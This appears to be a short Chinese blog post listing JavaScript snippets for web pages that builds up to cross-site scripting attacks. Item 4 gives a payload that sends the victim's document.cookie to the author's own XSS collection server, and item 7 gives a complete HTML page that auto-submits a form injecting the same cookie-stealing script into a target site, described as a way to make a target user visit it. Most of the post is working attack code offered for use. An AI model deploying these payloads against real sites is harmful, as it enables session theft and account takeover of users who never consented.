美文网首页
与Web相关的 JavaScript 函数

与Web相关的 JavaScript 函数

作者: blank_white | 来源:发表于2020-06-21 15:40 被阅读0次

1、在页面中弹窗显示字符

<script> alert("hello world") </script>
image.png

2、网页跳转

<script> document.location='https://www.baidu.com'</script>

3、页面cookie值

document.cookie

4、xss 获取cookie (对 2、3 组合)

<script>document.location='http://我的xss后台网站/xss.php?cookie='+document.cookie</script>

5、用于在网页加载完毕后立刻执行的操作,即当 HTML 文档加载完毕后,立刻执行某个方法。

window.onload() =xxfunction();//当页面加载完,会立刻执行函数xxfuction

6、模拟点击提交按钮

document.getElementById("postsubmit").click(); //postsubmit 为模拟的按钮 id

7、对 post 型 xss 获取 cookie
使目标用户访问如下网页

<html>
<head>
<script>
    window.onload=function()
    {
        document.getElementById("postsubmit").click();
    }
</script>
</head>
<body>
<form method="post" action="http://正常访问要post到的地址//post.php">
    <input id="xss_in" type="text" name="message" value="
    <script>
    document.location='http://我的xss后台/cookie.php?cookie='+document.cookie
    </script>
    ">
    <input id="postsubmit" type="submit" name="submit" value="submit"/>

</form>
</body>

流程:目标用户访问上面的网页,此网页构造了一个已经填充好的表单,通过 windows.onload 自动提交,从而实现与 get 型 xss 相同的效果。

相关文章

网友评论

      本文标题:与Web相关的 JavaScript 函数

      本文链接:https://www.haomeiwen.com/subject/zgmnoctx.html